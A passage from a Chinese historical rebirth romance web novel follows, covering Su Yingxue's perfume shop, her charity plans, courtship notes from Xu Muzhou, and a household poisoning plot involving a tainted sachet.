许牧舟想起玉佩中的秘方，脑海中浮现出映雪的身影，想着她此次救灾若有功，应该能获得不少积分，到时可以兑换炼制兵器的秘方。他定了定神，安慰道：“放心吧，我相信过不了多久，大乾就能制出比赤焰国更锋利的兵器。”
当世，大乾国、赤焰国与凌羽国呈三国鼎立之势。
大乾国以其雄浑雄厚的国力以及稳定的政治体系而声名远扬。赤焰国坐落于大乾国的西北部，该国之人崇尚武力，个个勇猛无畏、凶悍异常，其军队战斗力更是极为强大。而凌羽国则地处大乾国的东部，此国之人更为崇尚文化与艺术，且经济实力颇为雄厚，在三国之中牢牢占据着独特的地位。
凌羽国与大乾国世代交好。大乾国恰好处于赤焰国与凌羽国的中间位置，宛如一道坚固的天然屏障，守护着凌羽国。
大乾国与赤焰国之间一直战事不断。若不是景阳侯骁勇善战，堪称大乾国的战神，曾多次在战场上力挫赤焰军，大乾国的西北之地恐怕早已陷入岌岌可危之境。如今，景阳侯依旧坚守在西北边陲，保卫着大乾国的边疆。
景阳侯夫人和其他夫人被店内琳琅满目的香丸吸引，香丸有清幽花香、醇厚果香、神秘药香，功效各异，一旁展台上的精致香水在灯光下折射光芒。
映雪微笑上前介绍用法，演示香水喷洒，香气弥漫，夫人们惊喜好奇。开张日打折，夫人们纷纷抢购，店内热闹非凡，很快香丸和香水就被抢购一空。
掌柜看着空空货架，又喜又忧。待夫人们离去，映雪、嘉柔、清平长舒口气，嘉柔瘫坐抱怨生意太好也愁人，映雪和平清相视一笑。
眼见着已到午膳时间，映雪轻拂衣袖，提议道：“要不我们今日就去琼华阁用膳吧，用完膳刚好可以顺便商议慈善局的事。”
嘉柔一听，立马兴奋地拍手，赶紧附和道：“没问题，我早就听闻这琼华阁的大名，正想找个机会去尝尝这琼华阁的菜色究竟是何模样呢，竟能有那么多人推崇。”
要知道，因女子身份多有不便，往常她们也鲜有机会能在府外用膳。
琼华阁矗立在京城的繁华地段。向来是王公贵子们常去的消遣之地，偶尔也会有贵女前来用膳。
映雪想起前世，自己还是有次跟陈煜安怄气，才赌气去了一回。
苏沁雪几人更是从未踏足过此地，此刻听映雪提议，脸上也都带出了几份兴奋之色，眼中满是期待和好奇。
说罢，几人去了不远的琼华阁。琼华阁不愧是京城有名的销金窟，装饰华贵高雅，雕梁画栋，中间有个大舞台正有表演。小二和丫鬟眉清目秀、训练有素，见映雪几人也不谄媚，领她们去了二楼雅间。
映雪一行人刚进琼华阁，就被许牧舟及郑少臣看到。郑少臣嘀咕嘉柔像脱缰野马。许牧舟想起千味楼映雪跌入他怀中那幕，心里一热，喊来小二叮嘱一番。
待几人落坐，嘉柔环顾四周，不由地感叹道：“难怪大哥他们也时常来，别说，这一边用膳一边欣赏表演的滋味还真不错。”说罢，她朝着清平问道：“清平，你说呢？”
清平含着笑，应声道：“那是自然，又道是‘膳间歌舞醉心弦，尘世极乐此中添。’”
嘉柔又转向映雪，好奇道：“你怎么想到要来这琼华阁用膳？”
映雪俏皮一笑，眼中闪着灵动的光，说道：“既然要在府外用膳，那自然要去最好的地方，毕竟机会难得嘛，我也想见识一番这人间极乐。”
说罢，几人哄笑一团，笑声在雅间里回荡。
嘉柔正高兴着，又想到铺子开张大吉，豪气地把菜谱上能点的全都点了一份，反正她们人多，定能吃得完。
待几人高兴地用完膳，映雪喊小二结账，得知已有人替她们买单。映雪想不出是谁，只好作罢。
待出了琼华阁，映雪朝着苏秀蓉温声道：“大姐姐，我和郡主，县主还有事相商，你们要不先回府去？”
苏秀蓉轻轻点头应道：“那你在外注意安全，我们回府也好告诉祖母店里的情况，估计祖母也惦记着呢。”目光中满是关切。
映雪微笑着点头回应，苏秀蓉几人随即向嘉柔及清平行礼道别。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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之后，一行人便分成了两拨。
回府的马车上，苏映蓉坐在角落里，脸色阴沉，心中暗自生着闷气。她咬了咬嘴唇，愤愤地想着：那些夫人都围着映雪和嘉柔郡主、清平县主，自己连插话的机会都没有，更别提什么露脸的机会了。
而苏沁雪则是眉头紧蹙，脑海中浮现出苏映雪得景阳侯夫人青睐之事。这景阳侯夫人可不是一般的侯夫人，先不说景阳侯乃大乾战神，掌握着大乾的军权。景阳侯夫人也是长公主之女，与皇上乃是表兄妹，身份尊贵无比。听说这景阳侯世子更是厉害，连皇子都要巴结他。
映雪和嘉柔、清平一同回了凝香斋。刚踏入店门，就见掌柜满脸喜色地迎了上来，手中拿着账本。
“各位东家，今日的营收已经算出来了，约两千两银子。香丸卖了一百二十盒，香水卖了六十瓶。”掌柜的声音中满是抑制不住的兴奋。
饶是清平向来是最稳重的性子，此刻也忍不住惊讶地瞪大了眼睛，嘴巴微张，说道：“我可算是见识到何为日进斗金了。”
映雪轻轻摇了摇头，脸上带着淡淡的笑意，说道：“今日是景阳侯夫人捧场，其它夫人也免不了跟随。往后可没这运气了。”
说到这个，嘉柔眼睛一转，忍不住打趣道：“映雪姐姐，我见景阳侯夫人可喜欢你了，定是瞧中了你，想让你做她媳妇。”
闻言，映雪的脑海中瞬间闪过荷包里那张签文，脸上顿时泛起一片红晕，娇嗔道：“莫要胡说。”说着，赶紧岔开话题道：“如今凝香斋也算是步入正轨了，我们可以筹划慈善堂之事了吧？”
清平见映雪刚才脸红，心里有些存疑，觉得映雪有些不对劲。但见她提到慈善堂之事，神色也慎重起来，将心中的疑问暂且压下。
说道：“这慈善堂可与铺子不一样，除了资金来源，还涉及到救助对象、场地、人员招募与管理、救助流程和长期规划。或是一个环节没处理好，就会导致整个局面运转不开。我们可以先各自写个计划书，再一起商量怎么行动，你们看如何？”清平神色认真，目光在嘉柔和映雪脸上流转。
闻言，嘉柔先是眉头微皱，叹了口气道：“我怎么觉得你说的这个计划书，比那些考状元写文章都要难呢，一定要写吗？”她苦着一张脸，显得十分苦恼。
清平则一脸正经地回道：“那是当然，及众人所长嘛。你不会，可以请你大哥。”她表情严肃，语气坚定。
映雪也是眼睛一亮，兴奋地说道：“正好我大哥书院要放假了，我正好可以考验一下他在书院学的怎么样。”说着，还轻哼一声道：“要是计划书都做不好，想来也别去考什么举人了。”那模样带着几分俏皮和狡黠。
清平和嘉柔对视一眼，捂嘴笑道：“替你大哥点蜡，有你这个坑哥的。”两人笑得前仰后合，笑声在屋内回荡。
30. 礼物
等映雪回了侯府，已经快到酉时。用过晚膳，竹韵替她准备好沐浴的花瓣水。映雪轻解罗裳，缓缓坐进浴桶，温热的水包裹着她，一旁的竹韵轻柔地替她按头解乏。那恰到好处的力度，让映雪舒服得简直想要叫出来，不一会儿，她那疲惫的双眼就重重地闭上了，呼吸也渐渐变得平稳。
竹韵心疼映雪近日的劳累，不停地往浴桶里兑着热水，以保持水温。待泡了有一会儿，才轻声唤醒映雪。
映雪回了屋子，半躺在贵妃塌上，竹韵拿起锦帕，仔细地替映雪擦拭头发。这时，竹清轻步进来，从袖子里拿出一个精致的檀香木盒子，恭声禀告道：“姑娘，这是世子让奴婢拿给你的。”
映雪挑眉，心中满是疑惑，不知许牧舟是何意。接过盒子，轻轻打开，只见里面是一把匕首，匕首的刀柄镶嵌着璀璨的宝石，刀刃在烛光的映照下闪烁着寒芒，锋利无比，且轻巧便于携带。映雪瞬间就喜欢上了，心想正好可以给她防身用。又瞧见盒子里还有一张纸条，她拿起细看，上面写着“匕首用于防身，随身携带。另附一首诗词，“今朝离京赴事忙，寄语佳人莫轻狂。勿近不三与不四，闲时可念相思长。””
映雪瞧见，气得脸红如霞，心里暗恼：“你是我的谁啊，凭啥要想你，脸皮真厚！”说着，恨不得用匕首把那纸条砍个稀碎。
随即一想，映雪轻启朱唇，吩咐竹韵道：“竹韵，拿笔墨过来。”竹韵赶忙应是，手脚麻利地将笔墨备好。映雪提笔在纸上写了几句话，而后仔细折了起来，递给竹清，说道：“你替我把这字条送回去给他。”竹清双手接过，应下后退出了屋子。
景阳侯府临风轩，许牧舟见有回信，迫不及待地打开纸条，“君乃何人敢令思，岂因佩玉定情时。此身非属君所属，或带其祥嫁别枝。”看完，他瞬间气红了眼，心中恼怒道：她莫不是真想嫁给别人？想到白天郑少臣对她的关注，心里顿时像打番了的醋瓶子，酸气四溢。向外吼道：“双喜，你进来！”
双喜闻声，刚进书房，许牧舟就怒不可遏道：“你上次找的书是什么破书，一点都没用。”
双喜一脸委屈地挠头，说道：“不应该啊，我可是问了那书斋的老板，这三本书可是最畅销、最实用的。”说罢，他抬头看向许牧舟，眼中满是疑惑，问道：“世子爷，你是不是方法没用对？哪有女子不爱收礼物，不喜欢听情话的。”
闻言，许牧舟眉头紧紧一皱，心中思忖：难不成是他送的礼物她不喜欢？
想着，许牧舟起身去了库房挑挑拣拣好一会儿，拿出个盒子，写了几句话塞入其中。抬手招来一暗卫，把盒子递给他，吩咐“拿去给暗一”，说罢人影一闪，离开了书房。
映雪正准备上塌就寝。此时，竹清又送了东西过来。映雪略带疑惑地打开盒子，刹那间，差点被里面璀璨夺目的猫眼石珠子给闪瞎了眼。她不禁心想着：“真是个败家子！”
随后，映雪拿起旁边的纸条，轻轻打开，只见那纸上写着：“我心倾君情不休，爱意深深似水流。敢问姑娘怎方嫁，与吾相伴共春秋。”映雪读完，瞬间羞红了脸颊，那红晕如同天边的晚霞，迅速蔓延开来。只觉得手中的盒子仿佛被火灼烧过一般烫手，恨不得立刻将其丢开。
一宿皆梦。第二日醒来，映雪双颊似染了最艳丽的胭脂，脸色潮红，她竟然梦见许牧舟死皮赖脸地围在她身边，苦苦哀求她嫁给他，那场景清晰如真，让她心乱如麻。
此时，白芷轻手轻脚地替映雪端了洗漱水进来。只见映雪脸色微红，白芷不禁关心地问道：“姑娘，身子可有不适？”映雪轻轻摇头，目光躲闪。
待用完早膳，映雪带着丫鬟去了荣晖堂。映雪面带浅笑，从袖子里小心翼翼地掏出一张契书，双手递向了老夫人。老夫人接过契书，满脸疑惑地问道：“这是何物？”说罢，轻轻打开契书，目光触及内容，见是凝香斋的一成股份，忙推拒着笑道：“你这丫头，怎么把一成股给了祖母，祖母可不缺钱花。”
映雪见老夫人不肯收，急忙说道：“祖母，这是映雪孝顺您的，和您自己的嫁妆可不一样，您不收，映雪可是会生气的。”那娇嗔的模样，透着十足的亲昵。老夫人望着映雪，眼中满是欣慰，连连道：“好好好，那祖母如今也有孙女养了，祖母收下，以后给你当嫁妆。”
此时，一旁的苏映蓉看着，眼中热意涌动，嫉妒之色难以掩饰。她故意说道：“三妹妹，你一向对母亲也是孝顺有加，是不是也要送一成股给母亲？”
映雪轻轻摇头道：“没了。”苏映蓉满脸纳闷道：“没了是何意？”
映雪不紧不慢地解释道：“一共四成股，给了祖母一成，大哥一成，我留了一成，还有一成，我与嘉柔，清平要办一个慈善堂，这一成会投到慈善堂。”
苏沁雪听闻，不禁嘲讽道：“三姐姐可真大方，这一成的股，一年怕不止两万两吧？三姐姐竟豪不眨眼说捐就捐。”
老夫人这才知晓映雪还要办慈善堂，不禁神色郑重，细问道：“映雪，这办慈善堂可不是易事，你可是深思熟虑过吗？”
映雪郑重地点头，目光坚定而清澈，说道：“爹爹明日便要去灾地救灾，灾地想来是凶险万分。我虽是女子，不能亲赴前线，但也想尽己所能为大乾出一份力。只希望佛祖能看在我有诚心的份上，保佑爹爹平安归来，也保佑侯府一切顺畅。”
闻言，老夫人不禁一怔，随即叹了口气，眼中满是慈爱与赞许，道：“难得你竟有如此胸襟，祖母支持你。”
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映雪心头一松，脸上绽放出如春花般的笑容，笑道：“正有祖母能帮忙的地方呢，清平要我与嘉柔分别写一份计划书，我正不知从何入手。”说罢，满脸苦色，眉头轻蹙。
老夫人瞧见，不禁开怀笑道：“那这个祖母可帮不了你。”
几人从荣晖堂出来，向莞宜朝着映雪道：“三表姐，自我来了侯府，都没见你有闲下来的时候，今日你可有时间陪我们一起玩耍？”映雪轻轻摇头道：“我一会儿还要去书房找父亲有事，你跟四妹妹一道玩吧。”说罢，朝苏秀蓉微笑着打了个招呼，便转身离开了。
苏映蓉瞧见，气得柳眉倒竖，气恼道：“你们瞧她那副样子，哪里有把我们当成府里姐妹了。”
苏秀蓉则温婉地替映雪说道：“好了，三妹妹有事在身，我们又不是不知道，你们要是闲着，便帮我做了些绣活。”苏秀蓉的婚期已定，正是来年春天，除了要给自己精心绣制嫁衣，还有诸多绣活亟待完成。
苏沁雪几人闻言，赶忙找了各种借口，纷纷说有事要离开。
苏秀蓉的丫鬟瞧见，忍不住说道：“姑娘，她们真是太过份了。”
苏秀蓉却毫不在意，神色平和道：“这有何值得生气的，那些绣活自然有府里的绣娘绣，我只是不耐听她们说三妹妹的不是罢了。”
丫鬟听闻，也附和道：“也是，现在的三姑娘可没以前那样好哄骗，二姑娘也只能气急败坏。”又接着道，“不过，三姑娘对姑娘还是一样和善呢，三姑娘定是心里清楚谁才是真正为她好。”
映雪带着她炼制的药丸还有几张药方一同去了永安侯书房。永安侯见到映雪带来的药丸，脸上满是震惊之色，道：“这真是你自己炼制的药丸？”映雪微微挑眉，自信满满道：“当然，爹爹不是知道我会炼制香丸吗？这炼制药丸对我而言又有何难？”说罢，她有条不紊地向永安侯一一介绍药丸的功效及药方的用处。
永安侯努力压下心里的震惊，满脸赞赏道：“映雪当真了不起，爹爹替你感到骄傲。”映雪闻言得意一笑，说道：“我自是跟爹爹说过，我定会和大哥一起，把永安侯府发扬光大的，等爹爹救灾回来，说不定映雪还能给您惊喜呢。”永安侯爽朗大笑，道：“那爹爹就等着。”
映雪又面露好奇问道：“爹爹，为何这次救灾，皇上会派景阳侯世子随同，他很厉害吗？”
闻言，永安侯眼中露出羡慕之色，缓缓道：“景阳侯世子的确厉害，要不是景阳侯老夫人及侯夫人，不许他上战场，这大乾的战神该换人了。”停顿了一下，他又接着道：“且他还是了澄大师的弟子。”
映雪听闻，满心诧异，不禁暗想：“没想到他这么厉害，还是了澄大师的弟子，莫非她重生真与他脱不了关系？”
31. 离京
翌日黎明，京城城门外，晨雾弥漫，一支庞大队伍整装待发。
太子身着明黄绣蟒服饰，头戴紫金冠，腰束白玉带，面色苍白却威严不减。他对相送的文武百官道：“各位大人，本宫深知此次赈灾责任重大，离京期间，望诸位同心协力，护京城安稳，助朝度过难关。待灾患平息，再共商国是。”
太子话音落，百官拱手高呼：“臣等谨遵太子殿下旨意，定当竭尽全力，不负所托。愿殿下赈灾顺利，早日归京！”
随后，太子翻身上马，虽动作停顿却仍显优雅。他紧缰绳，骏马嘶鸣，太子扫视队伍喊道：“出发！”
永安侯及许牧舟在太子两侧。永安侯扫视一圈，见侯府马车，映雪招手道别，永安侯点头。映雪觉有炽热视线，瞧是许牧舟，他邪魅一笑，映雪脸红，忙放车帘。
映月阁，映雪正坐在桌前，秀眉微蹙，冥思苦想，着手计划慈善堂之事。
随即，珠帘晃动，发出清脆的声响。绿绮脚步轻快地进来禀告道：“姑娘，门房处有人来禀告，有位老婆婆和她儿子过来向姑娘道谢。”映雪闻声抬头，只见绿绮一脸兴奋，双颊绯红，说道：“肯定是姑娘救的那位猎户，他果真被姑娘救回来了。”
映雪带着绿绮匆匆去了外院。一进外厅，就见到那日的老婆婆，身边杵着一位二十来岁的年轻男子。男子身材壮实，皮肤黝黑，神情拘谨而敦厚，双手不安地搓着衣角。两人瞧见映雪进来，眼中满是感激，急忙就要向映雪跪下。
映雪赶忙上前扶起老婆婆，柔声道：“老婆婆，您快起来。”老婆婆却执意摇头，声音颤抖着道：“要不是姑娘相救，我儿这条命就是阎王爷的了，我今日带他过来，向姑娘磕个头，多谢姑娘救命之恩。”
说罢，男子二话不说，“砰砰砰”立即向映雪磕了三个响头，额头与地面碰撞的声音在厅中回响。映雪听着都觉得渗得慌，心都揪了起来，生怕人家把头给磕坏了，连忙叫绿绮制止，焦急地说道：“这位大哥的毒可是都已经好了？”
老婆婆连连点头，布满皱纹的脸上满是笑意，道：“连服三日姑娘开的药，他已经无碍了，只有伤口还有些印子。”又转言道，“姑娘救了他的命，就是他的救命恩人，以后他的命就是姑娘的，望姑娘不要嫌弃他蠢笨。”映雪连忙推拒，双手摆动着，说道：“老婆婆言重了，上天有好生之德，更何况是条人命，既然我们能遇上，就是我们之间缘分，老婆婆可千万别折煞我。”
老婆婆坚定地摇头，脸上的皱纹更深了几分，目光中满是恳切：“他若能跟着姑娘，也是他的福气。中原虫灾，有多少难民流离失所，食不果腹，衣不蔽体。要不是姑娘救他，他连那些难民都不如。姑娘莫要推辞，他虽不聪明，但还有一把子力气。”
映雪面露无奈之色，轻咬下唇，沉思片刻后，只好答应老婆婆，温声道：“行的，老婆婆，你们先回去。待我这边安排好后，让人去通知您。”
老婆婆听到映雪答应，脸上顿时绽放出如释重负的笑容，眼里闪着感激的泪光，连连点头道：“好好好，那老身就等着姑娘的好消息，多谢姑娘了。”说罢，拉着儿子的手，一步一回头地慢慢离开了。
待老婆婆和她儿子离开后，映雪回到映月阁，坐在书桌前，拿起笔细细思索起来。
凝香斋或许可由清平打理，然而这慈善局与凝香斋截然不同，她不可能完全甩手给清平不管不顾。想到老婆婆的儿子，倘若他要跟着自己，倒可以将他安排到慈善局。如此这般想着，映雪不由地轻舒了一口气。
思绪放空之际，竟不知不觉地想起早上许牧舟那一抹笑意，那笑容仿佛还在眼前，不由得令人脸热。紧接着，那场梦境又浮上心头，更是让人心头如小鹿乱撞。思绪流转间，又念及苏秀蓉的婚事，不知大姐姐的嫁衣究竟绣得如何了，这般想着，便带着丫鬟去了秀宁居。
踏入秀宁居，首先映入眼帘的，便是苏秀蓉那一脸的愁态。待映雪进来，她脸上这才勉强挤出了一丝笑意，说道：“三妹妹怎么过来了？”映雪故作生气地嗔怪道：“怎么？无事就不能来大姐姐这儿了？”苏秀蓉挑眉，轻轻笑道：“三妹妹现下可是比我这个待嫁妇还要忙碌呢。”映雪回想起刚进来时，苏秀蓉那满面的愁容，不禁问道：“刚瞧见大姐姐似乎有心事，是有什么事吗?”闻言，苏秀蓉的神色瞬间有些暗淡，缓缓道：“母亲给我送了信回来，知道我与萧家订亲的事，很为我高兴。”接着，她又转言道：“母亲在信中提到，说等我成婚时，她与哥哥会来京，只是父亲怕是来不了了。”说罢，她的言语中满是失落。
映雪想到前世，二叔一家在任上始终郁郁不得志，在她父亲过世后，都没能调回京城。若是二叔也在京城，父亲也能有个帮手。于是，映雪提议道：“等爹爹赈灾回来，可以让爹爹打听一下这京城的差事，若是有机会，想办法把二叔调回来。”苏秀蓉随即眼神一亮，可转瞬又暗了下去，轻轻摇头道：“伯父一人支撑着侯府也不容易，父亲叫我不要轻易麻烦伯父。”映雪反驳道：“就是因为如今侯府就爹爹支撑，没有帮手，所以才更要想办法让二叔回京。”映雪又想到之前向爹爹夸下的海口，便道：“我先去找嘉柔和清平打听一下，看如今京城有没有适合二叔的职位，若是有，我们再找祖母一起想办法。”听映雪如此说，苏秀蓉激动得连连点头，眼中满是感激：“还是三妹妹聪明，
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姐姐都不知如何感激你才好。”映雪调皮地眨眨眼：“还不知道能不能行得通呢，现在说谢还早得很，何况二叔也是我的亲二叔，等二叔和二婶他们回来，还多了人疼我。”苏秀蓉被她这俏皮的模样逗得捂嘴笑出了声，那笑声如同银铃般清脆，在这秀宁居内回荡。
映雪一路思索着如何找嘉柔和清平打听京中官职的事，豫亲王乃是皇上心腹重臣，若是能得他一句举荐之话，想来此事会万无一失，揣着心事，刚踏进映月阁，就瞧见了苏璟谦正呆呆地坐在桌前。待她走近，苏璟谦猛地转过头来，那双眼早已哭得通红，神情中满是恐惧，声音带着哭腔祈求道：“三姐姐，求你救救我姨娘。”映雪见他这般狼狈模样，两眼肿得像核桃，心下一惊，忙问道：“林姨娘怎么了？”苏璟谦边哭边抽噎着说道：“姨娘咳嗽喘不过气来，咳出血来了。”映雪一听，怔住了，问道：“怎么会这么严重？没看大夫吗？”
看过大夫了，苏璟谦哭得涕泗横流，断断续续说道：“大夫说不知是什么原因引起的病情加重，他也治不好，让姨娘另请名医。”
映雪心有不忍，宽慰苏璟谦道：“你先别伤心，我随你去看看。”
苏映雪随苏璟谦来到林姨娘的房间，屋内弥漫着一股沉闷的气息。林姨娘虚弱地躺在床上，双眼紧闭，面色如纸，原本秀丽的脸庞此刻显得毫无生气。呼吸急促而艰难，喉咙里发出一阵又一阵沉闷的咳嗽声。
突然，林姨娘又剧烈地咳嗽起来，仿佛要将心肺都咳出来一般。映雪连忙伸出手，轻轻拍打姨娘的后背，试图帮她缓解一些痛苦。
然而，咳嗽并没有停止，反而愈发严重。接着猛地咳出一口鲜血。那鲜血触目惊心，染红了她的唇角和洁白的手帕。
苏璟谦的眼眶瞬间红了，泪水在眼中打转，声音略微颤抖地说道：“姨娘，您一定要撑住，我把三姐姐请来了，三姐姐一定能救好你的……”
映雪赶紧喊来林姨娘的丫鬟，连忙问道：“林姨娘是何时这样的？你把林姨娘最近的病情讲述一下。”
丫鬟思索了片刻，回答道：“林姨娘前些日子已见好转了，就是从前日起，不知是何原因，夜里突然剧烈咳了起来，甚至还吐了血。”
映雪皱起眉头，心里暗衬，按理说咳嗽已见好转，若是没有外因，并不会突然恶劣。便追问道：“你再回忆下，那日林姨娘与平日可有什么不一样？比如说饮食，装扮之类的。”
丫鬟眼睛紧闭，仔细回忆，缓缓摇头，正准备说没有，随即眼神一亮，说道：“那日林姨娘换了个新的香囊，林姨娘说，久病身上沾了味道，想用些干花去味，我便去花房找了管事嬷嬷要了些干的薰衣草。”
32. 诗会
映雪听丫鬟所言，神色一紧，赶紧说道：“你把香囊拿过来我看一下。”
丫鬟不敢有丝毫耽搁，忙小跑到林姨娘身边，小心翼翼地把香囊解了下来，双手递给映雪。映雪接过香囊，将其中的干花倒了出来，放在手心中轻轻嗅了嗅。随即，她的眉头紧紧蹙起，如两道紧拧的麻花，神色愈发凝重。接着，她扭头吩咐丫鬟道：“你去端一盆水过来。”丫鬟忙不迭地点头，匆匆转身去准备。
不一会儿，丫鬟就气喘吁吁地把水端了过来。映雪将手中的干花放进水里浸泡，只见那水慢慢地变了颜色，逐渐呈现出诡异的红色。映雪心中了然，果真如此，脸上的表情变得严肃而坚定。她转头对着苏璟谦道：“你放心，三姐姐可以治好你姨娘。”
苏璟谦一直紧盯着映雪的动作，听到这话，一颗悬着的心这才稍稍放下，他望着映雪，眼神中充满了信任和依赖：“我就知道，三姐姐定不会骗我的。”随即又满心疑惑地问道：“三姐姐，这香囊可是有不妥？”
映雪见他满脸担忧，便也没瞒着他，耐心解释道：“这薰衣草上沾了些紫荆花粉，紫荆花粉会令咳嗽的病情加重，严重的话可以致命。”说罢，苏璟谦犹如遭受晴天霹雳，站着的步子随即往后倒退了两步，脸色煞白，声音颤抖地说道：“是不是有人要害姨娘？”他不是没听人说起过，后宅妻妾之争手段阴狠，可他姨娘向来无宠，性子又温顺，为什么会有人要害他姨娘？他实在想不通，双手不自觉地紧紧握成拳头，眼神中满是愤怒和不解。
映雪瞧见苏璟谦那失魂落魄又愤怒难平的模样，心中不禁泛起一丝怜惜，也只有轻声安慰道：“这件事情我会派人细查，你莫要太过忧心。你现在的主要任务是全心全意照顾好姨娘，让她能安心养病，早日恢复如初。”
苏璟谦眼中含泪，用力地点了点头，随即朝着映雪恭恭敬敬地行礼道：“多谢三姐姐救了姨娘的命。”他的声音带着一丝颤抖，话语中满是诚挚的感激。
映雪走上前，温柔地扶起苏璟谦，轻轻拍了拍他的肩膀，说道：“那我先回去了，等把药丸制好，我让丫鬟送过来。”
苏璟谦如同抓住了救命稻草一般，重重的点了点头，目光中充满了期待和信任。他紧紧跟在映雪身后，一直把映雪一路送出了院子。
回了映月阁，映雪只觉浑身疲惫，忍不住往那贵妃榻上一倒，发出“砰”的一声闷响，随后便是重重的叹息，“唉，恨不得能多两个分身才好！”好不容易把凝香斋提上正轨，又有慈善堂的事要忙，二叔调职的安排，林姨娘犯病等诸多事情，真是一刻也停不下来。
正想着，竹清轻手轻脚地走了进来，微微躬身禀告道，“姑娘，府里有人在打听您的行程。”映雪闻声抬头，娥眉微蹙，眼中闪过一丝疑惑，问道，“是不是表姑娘？”
竹清忙不迭地点头，应道：“正是。”
紧接着就听到映雪那清脆而坚定的声音道，“我们先别打草惊蛇，看看她想做什么。”接着又神色凝重地吩咐道，“你另外注意下林姨娘的病因，看是意外还是有人为之。”
竹清恭敬应是，随后退了出去。
翌日，映雪身着一袭淡粉色的罗裙，前往如意院向大夫人请安。
大夫人坐在主位上，余光瞥见映雪进屋，原本平淡的神情立马换成了一脸愁色。映雪踏入屋内，瞧见大夫人这副模样，却故作不知。大夫人轻叹了一声，声音中满是忧愁。旁边的王妈妈见状，赶忙提议道：“夫人，要不您让三姑娘帮您出出主意，三姑娘一向聪明伶俐，定能想到两全其美的法子。”
闻言，映雪眉头轻轻一挑，随后恭顺地问道：“母亲可是有难事？”大夫人缓缓地摇了摇头，说道：“是你向表妹的事，你也知道你向表妹这次来侯府是为何事吧？”映雪轻点了下头。接着，大夫人又道：“我替你向表妹相中了广威将军家的次子，但你表妹也是个主意大的，定要先看看那位公子是何模样。”大夫人抬头看向映雪，见她并未搭话，便又接着说道：“母亲也理解你们小姑娘的想法，也自是希望你们都能找到一位与你们情投意合的如意郎君。”这时，映雪微微抬眸，问道：“母亲，这件事映雪能帮上什么忙？”
大夫人见映雪接话，脸上随即浮现出一抹笑意，道：“本来你大哥在府里倒也方便，直接以他的名义约那位公子来府里一叙，让你表妹在帘子后看一眼便好，可这会儿府里却不方便约外男入府。”
映雪了然，心中总算是明白了对方的意图，便问道：“母亲可是想让向表妹在府外与那位公子相见？可这事我怕是帮不上忙吧？”大夫人连忙解释道：“你只需陪你表妹走一趟即可。”怕映雪拒绝，便又道：“你大姐姐订亲，不方便出府，沁雪年纪又小不顶事，莞宜也最是信赖你，所以母亲想让你陪她去，你可愿意。”
映雪微微皱眉，思索片刻后，问道：“为何不让二姐姐和四妹妹也一同陪着？”大夫人见映雪如此油盐不进，脸色微沉，语气也变得有些急切：“你表妹脸皮薄，不想让太多人知道这件事。”
映雪轻咬下唇，最终点了点头道：“那行吧，母亲约了是哪日？到时让人来通知我。”
大夫人脸上顿时绽放出欢喜的笑容，连连说道：“有你在，母亲也放心。”
映雪面带羞色，快步跑出了屋子。
出了如意院，映雪的脸才沉了下来，绿绮忍不住皱眉，问道，“
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姑娘，大夫人这是何意？为何非要你陪着表姑娘去，这万一传出谣言，变成是姑娘与那位公子私会，岂不是对姑娘名声有碍？”映雪讥笑道，“想来她不会用这么直白的手段来陷害我，若是我真有事，她也落不着好，放心吧。” 绿绮又嘀咕道，“那她这是做什么，奴婢总觉得没安好心。”
而映雪神色从容，似乎一点儿也不担心。
行至荣晖堂屋外，还未进门，就听到里面传来一片欢声笑语，待映雪刚抬脚跨过门槛入内，向莞宜便像一只欢快的小鸟般亲热地迎了上来，满脸欣喜地说道：“三表姐，你来的正好，四表妹正说着要在府里举办一场诗会，邀请各府的姑娘们参加呢，到时三表姐也一定要有空参加呀。”映雪微微颔首，含笑应道：“四妹妹不嫌我碍事就好。”老夫人瞧见映雪，慈爱地招了招手，示意她上前，映雪恭敬地请完安，老夫人脸上挂着和蔼的笑，说道：“你四妹妹准备在府里举办诗会，你近日虽繁忙，但若有空，也一起参加，多认识认识些朋友，对你也是好事。”映雪嘴角上扬，露出浅浅的酒窝，浅笑答道：“好，我听祖母的。”
接着，老夫人目光中带着几分关切，又问道：“祖母听说，你昨日收下那位猎户了？”映雪颇为无奈地点头道，“那位老婆婆一定要报救命之恩，映雪实在是拒绝不了，想着日后若是慈善堂开起来，他也能跟着做些事情，便就收下了。”老夫人沉思片刻，语重心长地道，“他能跟着你做事，也是他的福气，但你自己也要注意区分心怀叵测之人，知道吗？”映雪认真地点头回应道：“祖母放心，映雪明白。”
老夫人又和声问道：“慈善堂之事，可有头绪？”闻言，映雪顿时愁眉苦脸起来，道：“没有呢，祖母。”说完，紧接着，眼睛突然一亮，道：“大哥过两日从书院回来，我到时找大哥帮忙。”
老夫人见她这般，不由得打趣道：“你这丫头，你大哥才放两日假，就要被你捉去干苦力。”映雪俏皮地一笑，嘴角上扬，露出两个可爱的小酒窝，道：“正好让大哥提前熟悉一下问策呢，要是爹爹在，肯定会支持我。”
老夫人听了，不由的轻轻叹息一声，目光中透着些许思念，道：“你父亲赈灾也不知何时回来，你大哥都许久没见着你父亲了。”映雪一听，连忙追问道：“下次爹爹出京办差，可以让大哥也跟着爹爹一起去，也好上大哥也见识一番，世家子弟，向来不是都会提前历练的吗？”
老夫人温和地笑着，眼中满是慈爱，道：“等你大哥明年参加了科举，就让他跟你爹去历练。”接着，老夫人顿了顿，又说道：“不过也要等他先成亲，你大哥也要准备说亲了，亲事可以先订下来，等明年中举了，再成亲。”
33. 将计
从荣晖堂出来，苏沁雪就迫不及待地问道：“三姐姐，诗会到时可以在映月阁举办吗？映月阁地方大，景色也最好，且我那些朋友们也对三姐姐的静逸庐很有兴趣，想要参观一二。”
永安侯府中只有映月阁是那别致的二层绣楼，按规矩只有嫡女可以住。本来苏沁雪是可以和映雪一起住映月阁的，但大夫人却借口说苏沁雪闹腾，怕吵着映雪，就让苏沁雪住进了离如意院不远的落雪院。
以前的映雪单纯，真以为大夫人是疼她，可经历了前世种种，哪里还不知道，大夫人从小就一直防着她呢。苏沁雪向来高傲善妒，若是与她一起住映月阁，怕是会忍不住露出异样，让她生疑。不过，现下苏沁雪提出要在映月阁举办诗会，她还真不好拒绝。映雪微微皱了下眉头，随即随意道：“可以，就是别把静逸庐搞乱了就行。”
苏沁雪一听，脸上立刻绽放出灿烂的笑容，兴奋道：“那我这就给她们写请贴。”说完，便欢欢喜喜地跑开了。
